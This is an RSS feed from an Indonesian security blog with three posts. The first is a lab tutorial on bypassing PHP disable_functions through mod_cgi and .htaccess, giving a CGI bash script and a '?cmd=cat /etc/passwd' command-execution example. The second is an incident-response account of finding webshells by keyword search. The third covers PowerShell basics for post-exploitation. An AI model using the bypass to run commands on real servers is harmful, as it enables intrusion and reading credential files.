<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>shell Arsip - Bhineka blog</title>
	<atom:link href="https://blog.bhineka-tech.org/category/shell/feed/" rel="self" type="application/rss+xml" />
	<link>https://blog.bhineka-tech.org/category/shell/</link>
	<description></description>
	<lastBuildDate>Mon, 09 Dec 2024 08:45:08 +0000</lastBuildDate>
	<language>id</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.7.1</generator>

<image>
	<url>https://blog.bhineka-tech.org/wp-content/uploads/2024/10/logo-bintek-min.jpg</url>
	<title>shell Arsip - Bhineka blog</title>
	<link>https://blog.bhineka-tech.org/category/shell/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Bypass disable function using mod_cgi</title>
		<link>https://blog.bhineka-tech.org/2024/12/09/bypass-disable-function-using-mod_cgi/</link>
					<comments>https://blog.bhineka-tech.org/2024/12/09/bypass-disable-function-using-mod_cgi/#respond</comments>
		
		<dc:creator><![CDATA[xpl0dec]]></dc:creator>
		<pubDate>Mon, 09 Dec 2024 08:32:14 +0000</pubDate>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[pentesting]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[shell]]></category>
		<category><![CDATA[technology]]></category>
		<guid isPermaLink="false">https://blog.bhineka-tech.org/?p=428</guid>

					<description><![CDATA[<p>Kadangkala pada saat melakukan web hacking dan mendapatkan foothold / initial access pada suatu server kita di restriksi dengan proteksi PHP yang disebut disable function, disable function sendiri bisa dikatakan fitur dan proteksi untuk melakukan disable dan menonaktifkan fungsi fungsi tertentu di php yang dianggap berbahaya seperti system, shell_exec, exec, eval dan lainnya Pada banyak [&#8230;]</p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2024/12/09/bypass-disable-function-using-mod_cgi/">Bypass disable function using mod_cgi</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>Kadangkala pada saat melakukan web hacking dan mendapatkan foothold / initial access pada suatu server kita di restriksi dengan proteksi PHP yang disebut disable function, disable function sendiri bisa dikatakan fitur dan proteksi untuk melakukan disable dan menonaktifkan fungsi fungsi tertentu di php yang dianggap berbahaya seperti <em>system</em>, <em>shell_exec</em>, <em>exec</em>, <em>eval</em> dan lainnya</p>



<p>Pada banyak server, command syscall yang digunakan untuk melakukan eksekusi bash dan shell script di non-aktifkan untuk keperluan keamanan disini bertujuan agar attacker tidak dapat melakukan compromised lebih jauh pada target seperti melakukan <em>privilege escalation</em>, <em>pivoting</em>, <em>persistence </em>maupun <em>post exploitation</em>.</p>



<p>Jadi disini aku akan membahas salah satu teknik yang digunakan untuk melakukan bypass disable function yang memanfaatkan module cgi pada webserver apache dan yang perlu digaris bawahi untuk melakukan bypass menggunakan teknik ini harus ada requirement atau kondisi agar berhasil yaitu mod_cgi perlu diaktifkan dan kedua direktif AllowOverride pada konfigurasi apache harus aktif yang bertujuan agar kita bisa melakukan overwrite konfigurasi menggunakan .htaccess file.</p>



<p>Pertama setup lab pada vps atau di local untuk pengujian dan testing, selanjutnya jelas kita perlu install webserver apache dan lakukan setting disable function, karena case kali ini kita menggunakan php 8.3 jadi untuk php.ini kita perlu setting pada directory <em><strong>/etc/php/8.3/apache2</strong>/<strong>php.ini</strong></em></p>



<figure class="wp-block-image size-full"><img fetchpriority="high" decoding="async" width="970" height="477" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-140811.png" alt="" class="wp-image-429" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-140811.png 970w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-140811-300x148.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-140811-768x378.png 768w" sizes="(max-width: 970px) 100vw, 970px" /></figure>



<p>kemudian kita perlu install cgi module pada apache lalu aktifkan menggunakan command a2enmod</p>



<figure class="wp-block-image size-full"><img decoding="async" width="1025" height="207" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-140934.png" alt="" class="wp-image-430" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-140934.png 1025w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-140934-300x61.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-140934-768x155.png 768w" sizes="(max-width: 1025px) 100vw, 1025px" /></figure>



<p>selanjutnya jangan lupa kita set direktif AllowOverride ke All hal ini bertujuan agar file .htaccess bisa ter-eksekusi</p>



<figure class="wp-block-image size-full"><img decoding="async" width="910" height="545" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/directibe.png" alt="" class="wp-image-432" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/directibe.png 910w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/directibe-300x180.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/directibe-768x460.png 768w" sizes="(max-width: 910px) 100vw, 910px" /></figure>



<p>Setelah itu restart apache lalu kita perlu melihat dan verifikasi jika module cgi / mod_cgi dan disable function berhasil di konfigurasi, caranya sederhana cukup buat file php dan tambahkan syntax berikut:</p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-901ba5ad6a255b2f17f510fc19cd1ada"><code>&lt;?php
echo "disable function: " . ini_get("disable_functions");
echo "&lt;br>&lt;br>";
echo "apache module: &lt;br>";
foreach(apache_get_modules() as $modules){
    echo $modules . "&lt;br>";
}

?></code></pre>



<p>Dan jika kita buka via browser</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="736" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-141942-1024x736.png" alt="" class="wp-image-433" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-141942-1024x736.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-141942-300x216.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-141942-768x552.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-141942.png 1345w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Disini menunjukkan kita berhasil melakukan konfigurasi yang dimana kita tidak akan bisa melakukan eksekusi fungsi syscall karena semua fungsi syscall berbahaya kita lakukan disable dan kita akan manfaatkan mod_cgi ini untuk melakukan bypass disable function. </p>



<p>Sekilas tentang mod_cgi, jadi mod_cgi itu merupakan module cgi pada webserver apache yang memungkinkan webserver untuk melakukan handle dan eksekusi suatu CGI script yang dimana CGI sendiri merupakan protocol yang menyediakan cara untuk melakukan eksekusi script melalui request http contoh sederhananya kita bisa melakukan eksekusi pada file perl(.pl), python(.py) maupun bash(.sh) langsung dari web request atau browser.</p>



<p>Langkah awal kita perlu membuat directory baru dan menambahkan htaccess agar suatu extension dikenali dengan CGI script, simple-nya kita akan membuat bash script agar bisa langsung melakukan eksekusi command. Disini kita hanya perlu membuat htaccess dengan 2 direktif </p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-ac845446031e70b280c87e6a7f870c91"><code>Options +ExecCGI
AddHandler cgi-script .bhitech</code></pre>



<p>Direktif pertama yaitu <strong><em>Options +ExecCGI</em></strong> yang memberitahu webserver untuk mengizinkan eksekusi CGI script lalu direcktif kedua webserver akan melakukan eksekusi jika ditemukan extension .bhitech dan untuk extension opsional kita bisa menambahkan apapun misalkan .cgi, .test, .hijack, .bypass dan lain lain ya</p>



<p>Langkah kedua kita perlu membuat bash script dengan extension .bhitech sederhana saja kita perlu shebang, content type dan command apa yang akan dijalankan</p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-25e724b5c3520c72467ee7b2c7fbcc0b"><code>#!/bin/bash
echo -ne "Content-type: text/html\n\n"
id</code></pre>



<p>Disini kita akan menjalankan command id untuk melihat id dan user kita sekarang jadi pada directory akan menjadi 2 file yaitu htaccess dan cgi script seperti ini </p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="835" height="265" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-145230.png" alt="" class="wp-image-436" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-145230.png 835w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-145230-300x95.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-145230-768x244.png 768w" sizes="auto, (max-width: 835px) 100vw, 835px" /></figure>



<p>Lalu jika kita open via browser pada file script.bhitech</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="362" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-145414-1024x362.png" alt="" class="wp-image-437" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-145414-1024x362.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-145414-300x106.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-145414-768x271.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-145414-1536x543.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-145414.png 1670w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Terlihat command id tereksekusi yang berarti kita berhasil melakukan bypass disable function dan untuk command lain mudah saja kita ganti pada file script.bhitech misalkan uname -a<br></p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="248" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-145745-1024x248.png" alt="" class="wp-image-439" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-145745-1024x248.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-145745-300x73.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-145745-768x186.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-145745-1536x372.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-145745.png 1597w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Yang akan menampilkan informasi tentang kernel pada server. mungkin akan ribet jika harus modifikasi file untuk melakukan eksekusi command lain jadi disini aku membuat tools untuk melakukan automasi agar lebih mudah dan dinamis </p>



<p><a href="https://github.com/ibrahimzx/mod-cgi-disable-function">https://github.com/ibrahimzx/mod-cgi-disable-function</a></p>



<p>Untuk menggunakan cukup mudah dengan hanya menambahkan GET parameter ?cmd pada url </p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="473" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-151459-1024x473.png" alt="" class="wp-image-442" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-151459-1024x473.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-151459-300x138.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-151459-768x355.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-151459.png 1250w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Disini misalkan ingin membaca /etc/passwd tinggal tambahkan parameter <em><strong>?cmd=cat /etc/passwd</strong></em> dan command akan dieksekusi serta ditampilkan pada browser </p>



<p><strong><em>Penutup</em></strong></p>



<p>Teknik diatas merupakan salah satu dari sekian banyak cara untuk melakukan bypass pada disable function, disini agar pembaca lebih aware dengan tidak hanya mengandalkan disable function dan menganggap itu aman bahkan jika mod_cgi tidak diaktifkan attacker bisa memanfaatkan fungsi mail dengan <em><strong>LD_PRELOAD </strong></em>atau pada webserver <strong><em>nginx </em></strong>bisa dengan memanfaatkan <em><strong>php-fpm</strong></em> dan protocol gopher untuk mencapai eksekusi command. Ada juga teknik yang melakukan exploiation pada php itu sendiri dengan memanfaakan beberapa bug PHP yang sudah di publish pada <a href="https://bugs.php.net/">https://bugs.php.net/</a> seperti melakukan poisoning process dan menulis data berbahaya pada memory. Oke mungkin cukup sekian artikel kali ini dan semoga bermanfaat.</p>



<p><em>&#8220;Tidak ada akhir untuk pendidikan. Bukan berarti Anda membaca buku, lulus ujian, dan menyelesaikan pendidikan. Seluruh kehidupan, dari saat Anda lahir hingga saat Anda mati, adalah proses pembelajaran.&#8221;</em> <strong>&#8211; Jiddu Krishnamurti</strong></p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2024/12/09/bypass-disable-function-using-mod_cgi/">Bypass disable function using mod_cgi</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.bhineka-tech.org/2024/12/09/bypass-disable-function-using-mod_cgi/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Memberantas Index Judol Dan Webshell Hacker</title>
		<link>https://blog.bhineka-tech.org/2024/11/01/memberantas-index-judol-dan-webshell-hacker/</link>
					<comments>https://blog.bhineka-tech.org/2024/11/01/memberantas-index-judol-dan-webshell-hacker/#respond</comments>
		
		<dc:creator><![CDATA[cicak]]></dc:creator>
		<pubDate>Fri, 01 Nov 2024 09:01:19 +0000</pubDate>
				<category><![CDATA[blue team]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[incident response]]></category>
		<category><![CDATA[Laravel]]></category>
		<category><![CDATA[shell]]></category>
		<guid isPermaLink="false">https://blog.bhineka-tech.org/?p=314</guid>

					<description><![CDATA[<p>Halo semua pada artikel ini aku akan membahasa bagaimana merespone suatu insiden peretasan yang dimana hacker tersebut menjadikan website yang di retas nya untuk promosi judolnya. Cerita nya diawali di grub Developer&#8230;. ya begitulah cerita nya, di pagi hari dapat rejeki bantuin sesama menggunakan skill yang aku kuasai, hahaha. setelah aku hubungi yang bersangkutan, aku [&#8230;]</p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2024/11/01/memberantas-index-judol-dan-webshell-hacker/">Memberantas Index Judol Dan Webshell Hacker</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>Halo semua pada artikel ini aku akan membahasa bagaimana merespone suatu insiden peretasan yang dimana hacker tersebut menjadikan website yang di retas nya untuk promosi judolnya.</p>



<p>Cerita nya diawali di grub Developer&#8230;.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1060" height="920" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/image.png" alt="" class="wp-image-315"/></figure>



<p>ya begitulah cerita nya, di pagi hari dapat rejeki bantuin sesama menggunakan skill yang aku kuasai, hahaha.</p>



<p>setelah aku hubungi yang bersangkutan, aku minta akses vps, dengan baik hati mereka memberikan akses vps, langsung aku gas lah hahaha&#8230;.</p>



<p>hal pertama yang aku lakukan yaitu mengecek log webserver, website menggunakan webserver nginx dan log nya berada pada direktori /var/log/nginx/access.log.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1910" height="981" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/image-1.png" alt="" class="wp-image-317"/></figure>



<p>setelah dilakukan pengecekan ternyata benar website mereka diretas. dan kemungkinan website aplikasi mereka mempunyai celah keamanan arbitrary file upload.</p>



<p>setelah memastikan, langsung aku upload sebuah scanner webshell di domain utama nya dan aku langsung disuguhi webshell hacker berserta index judol mereka, </p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1919" height="994" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/image-2.png" alt="" class="wp-image-318"/></figure>



<p>sesudah itu aku mencari keyword fungsi dari webshell seperti eval, goto, rot13, set_time_limit, fopen, copy, $_files dan hasilnya aku mendapatkan list index judol dan webshellnya.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="743" height="606" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/image-4.png" alt="" class="wp-image-320"/></figure>



<p>Hasil yang di dapatkan langsung aku laporkan ke bersangkutan, untuk mereka tindak lanjut dan tidak lupa juga aku berikan mitigasi keamanan.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1052" height="845" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/image-5.png" alt="" class="wp-image-321"/></figure>



<p>ok sekian terima kasih, maaf jika banyak sensor karna yang bersangkutan ingin privasi mereka tetap terjaga! happy friday guyss&#8230;.</p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2024/11/01/memberantas-index-judol-dan-webshell-hacker/">Memberantas Index Judol Dan Webshell Hacker</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.bhineka-tech.org/2024/11/01/memberantas-index-judol-dan-webshell-hacker/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Powershell for hacking, dasar command pada powershell</title>
		<link>https://blog.bhineka-tech.org/2024/10/20/powershell-for-hacking-dasar-command-pada-powershell/</link>
					<comments>https://blog.bhineka-tech.org/2024/10/20/powershell-for-hacking-dasar-command-pada-powershell/#comments</comments>
		
		<dc:creator><![CDATA[xpl0dec]]></dc:creator>
		<pubDate>Sun, 20 Oct 2024 06:23:34 +0000</pubDate>
				<category><![CDATA[programming]]></category>
		<category><![CDATA[shell]]></category>
		<category><![CDATA[technology]]></category>
		<category><![CDATA[Windows]]></category>
		<guid isPermaLink="false">https://blog.bhineka-tech.org/?p=270</guid>

					<description><![CDATA[<p>Jumpa lagi rek, pasti kalian ga asing kan dengan powershell ? nah jadi pada topik ini aku akan bahas mengenai fundamental command yang digunakan pada powershell. Powershell bisa dibilang merupakan suatu scripting language dimana berguna untuk melakukan task automation, process management hingga konfigurasi system Powershell sendiri dibangun diatas framework .NET dan Jika pada operating system [&#8230;]</p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2024/10/20/powershell-for-hacking-dasar-command-pada-powershell/">Powershell for hacking, dasar command pada powershell</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>Jumpa lagi rek, pasti kalian ga asing kan dengan powershell ? nah jadi pada topik ini aku akan bahas mengenai fundamental command yang digunakan pada powershell. Powershell bisa dibilang merupakan suatu scripting language dimana berguna untuk melakukan task automation, process management hingga konfigurasi system</p>



<p>Powershell sendiri dibangun diatas framework .NET dan Jika pada operating system unix-like kita kenal dengan bash script yang yang merupakan command shell berbasis text, tidak seperti shell script lain uniknya pada powershell sendiri menggunakan shell yang berbasis object jadi semua command pada powershell dianggap sebagai suatu object, menarik bukan ?</p>



<p>Oh iya powershell sendiri mulai diperkenalkan pada windows XP yang dimana dulu powershell hanya bisa dipake pada windows environment tetapi sekarang kita bisa juga menginstall powershell pada operating system lain karena microsoft merilis powershell sebagai opensource.</p>



<p>Karena powershell itu tersedia secara default pada operating system windows jadi mempelajari powershell sangat berguna saat kita mendapatkan initial access pada windows machine jadi sesuai topik ini yaitu <strong>Powershell for hacking</strong> jadi kita akan belajar basic command serta melihat command apa saja yang sering dipakai pada powershell pada saat melakukan hacking/post-exploitation </p>



<p>Sebelum kita memulai kita perlu mengenal yang namanya <em>cmdlet</em>, <em>cmdlet</em> merupakan namming pattern yang berisi kata kerja dan kata benda pada suatu command jadi misalkan command <em>Get-ChildItem</em> yang digunakan untuk listing directory jadi Get merupakan kata kerja sementara ChildItem merupakan kata benda. cmdlet itu ada banyak sekali tetapi kita tidak perlu menghafalnya cukup kita perlu menginggat 2 command saja yaitu <em>Get-Command</em> yang digunakan untuk menampilkan semua atau spesifik nama dari cmdlet pada powershell dan command kedua ada <em>Get-Help</em> yang berfungsi untuk melihat detail dari cmdlet tersebut seperti argument dan penggunaan pada command cmdlet</p>



<p>Ada 3 CommandType yang ada pada powershell dimana di klasifikasikan menjadi 3 yaitu <em>Alias</em>, <em>Function</em> dan terakhir yang kita bahas tadi yaitu <em>cmdlet</em> jadi mari kita bahas:</p>



<p><strong>Alias </strong>: Bisa dibilang alias ini seperti singkatan dari cmdlet dan function dari powershell dan kita bisa mudah melihatnya menggunakan command <em>get-alias</em></p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1158" height="684" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-20-105808.png" alt="" class="wp-image-281"/></figure>



<p>beberapa command alias mirip dengan bash seperti alias <em>cat </em>untuk membaca file yang aslinya merupakan cmdlet dari <em>Get-Content</em> lalu ada alias cd dan chdir untuk berpindah directory yang juga sebenarnya merupakan command cmdlet dari <em>Set-Location</em></p>



<p><strong>Function</strong> : function ini sebenernya juga masuk ke cmdlet tetapi kita juga bisa melakukan custom function pada powershell atau yang dikenal dengan user defined function</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="878" height="640" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-20-111528.png" alt="" class="wp-image-282"/></figure>



<p>Disini kita coba definisikan fungsi InfoTanggal-dan-IpAddress yang hanya menampilkan informasi tanggal dan IP Address pada local computer dan pada gambar kita bisa melihat pada blok fungsi kita memanggil cmdlet <strong>Get-Date</strong> dan alias <strong>gip</strong> yang memfilter hanya untuk menampilkan IP address</p>



<p><strong>Cmdlet</strong>: Seperti yang dibahas sebelumnya, cmdlet berisi suatu perintah dasar seperti menampilkan directory, berpindah directory, membuat file, membuat folder dan banyak lagi ya, contoh cmdlet yang sering digunakan:</p>



<ul class="wp-block-list">
<li>Get-ChildItem : untuk listing directory </li>



<li>Set-Location: Untuk berpindah directory</li>



<li>Get-Content : Untuk membaca file</li>



<li>Add-Content : untuk membuat file / append string jika file sudah ada</li>



<li>Set-Content : Untuk membuat file / modifikasi string jika file sudah ada</li>



<li>Remove-Item : menghapus file / directory</li>



<li>Rename-Item : rename file / directory</li>



<li>Copy-Item : salin file / directory</li>



<li>Move-Item : pindahkan file / directory</li>
</ul>



<p>Sebenarnya masih banyak lagi ya cuman kalian bisa explore sendiri untuk lebih lengkapnya, nah disini misalkan kasusnya kita tidak mengerti bagaimana cmdlet <strong>Add-Content</strong> bekerja kita bisa mudah menggunakan command <strong>Get-Help Add-Content</strong> untuk menampilkan informasi bantuan pada cmdlet tersebut</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1301" height="588" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-20-113036.png" alt="" class="wp-image-288"/></figure>



<p>Nah ditampilkan informasi argument apa saja yang dibutuhkan, tenang saja kita tidak membutuhkan semua argument hanya argument yang wajib/required kita gunakan yaitu <em>-Path</em> yang merupakan nama file dan <em>-Value</em> isi pada string dan jika kurang jelas kita bisa melihat di dokumentasi microsoft pada link yang sudah disertakan pada output atau bisa juga menggunakan command Get-Help nama_<em>cmdlet</em> -Full</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="992" height="692" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-20-113654.png" alt="" class="wp-image-289"/></figure>



<p>Disini sangat detail karena disertakan hingga penjelasan dari parameter yang required dan opsional jadi langsung saja kita coba</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1050" height="170" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-20-113923.png" alt="" class="wp-image-290"/></figure>



<p>Disini kita memakai cmdlet Add-Content untuk membuat file serta kita coba baca dari file yang kita buat memakai cmdlet Get-Content, semudahh itu kan </p>



<p>Setelah kita tau cmdline, alias dan function sekarang kita akan membahas <strong>pipeline</strong>, nah apa itu ?? jadi <strong>pipeline</strong> itu suatu cara pada powershell yang digunakan untuk mengarahkan output ke command lain menggunakan satu baris command dan hal ini berguna misalkan untuk sorting string, mencari string tertentu dalam file/output, memfilter output, melakukan operasi pada string yang dipilih dan masih banyak lagi.</p>



<p>Sama seperti pada bash, pipeline pada powershell juga menggunakan special character <strong>|</strong>(pipe) tetapi karena powershell semua command di respresentasikan sebagai object jadi kita bisa melakukannya lebih mudah</p>



<p>Kita mulai dengan cmdlet Get-Service yang berguna untuk menampilkan semua service pada computer</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="902" height="697" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-20-115059.png" alt="" class="wp-image-293"/></figure>



<p>Dan disini kita hanya akan memfilter nama pada service jadi kita bisa dengan mudah menggunakan pipeline dan diikut dengan cmdlet <em>Select-Object</em></p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="908" height="586" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-20-115223.png" alt="" class="wp-image-294"/></figure>



<p>Sangat mudah bukan, dimana kita melakukan Select-Object Name dimana Name merupakan parameter Name diambil dari column dari output Get-Service, Nah sekarang kita akan menampilkan hanya service yang memiliki status stop / tidak running kita dengan mudah menggunakan Where-Object</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="908" height="510" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-20-115622.png" alt="" class="wp-image-295"/></figure>



<p>Output hanya menampilkan service dengan status stopped dan disitu kita menggunakan Where-Object diikuti dengan <strong>{$_.Status -eq &#8220;Stopped&#8221;}</strong> yang dimana hal ini merupakan rules syntax dari powershell sendiri dan <strong>$_.Status</strong> artinya kita mengambil column status dan <strong>-eq</strong> merupakan operasi komparasi sama dengan dan diikuti dengan string &#8220;Stopped&#8221;</p>



<p>Kita juga bisa menggunakan lebih dari 2 pipeline </p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1000" height="642" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-20-120130.png" alt="" class="wp-image-296"/></figure>



<p>Dalam kasus ini kita akan memilih service yang berstatus &#8220;<strong>Stopped</strong>&#8221; dan diikuti dengan <em>Select-Object Name</em> artinya kita hanya memanggil nama dari service pada output yang berarti menampilkan nama service dengan status Stopped </p>



<p>Contoh selanjutnya kita akan mulai bekerja dengan file yaitu menampilkan file pada current path yang lebih baru dari 30 hari sebelumnya, kita tahu jika operasi listing menggunakan Get-ChildItem</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1325" height="611" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-20-120813.png" alt="" class="wp-image-299"/></figure>



<p>Sebelum kita memulai kita perlu tau dulu spesifikasi dari command Get-ChildItem dimana kita bisa melakukan scanning rekursif menggunakan argument <strong>-Recurse</strong> dan kita juga bisa melihat argument yang bersifat required dan bukan.</p>



<p>Selanjutnya kita bisa memanfaatkan pipeline untuk ini </p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1263" height="543" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-20-122414.png" alt="" class="wp-image-300"/></figure>



<p>Disini command-nya sangat sederhana pertama kita recursif scan menggunakan -Recurse dan -File merupakan argument yang hanya digunakan untuk melakukan scanning pada file bukan directory dan kita lakukan pipeline dengan where-object artinya kita akan melakukan compare dimana $_.LastWriteTime merupakan column timestamp dan -ge merupakan operasi lebih dari diikuti dengan fungsi (Get-Date).AddDays(-30) yang berarti kita mengambil tanggal sekarang dikurangi 30 hari dan lanjut melakukan select column dimana disitu kita hanya akan menampilkan fullpath dengan menggunakan argument Fullname</p>



<p>Contoh terakhir kita akan melihat kemampuan cmdlet untuk melihat dan melakukan konfigurasi system</p>



<p>Kita bisa dengan mudah menampilkan semua subkey registry HKCU menggunakan Get-ChildItem</p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="665" height="355" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-20-123410.png" alt="" class="wp-image-303" style="width:830px;height:auto"/></figure>



<p>Kita juga bisa melihat value dari hive registry menggunakan cmdlet Get-ItemProperty diikuti path dari registry key-nya</p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="1329" height="316" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-20-124429.png" alt="" class="wp-image-305" style="width:840px;height:auto"/></figure>



<p>Disini kita bisa melihat autorun program yang dijalankan pada saat selesai booting diantaranya ada openvpn-gui.exe, discord, opera.exe dan lainnya ya</p>



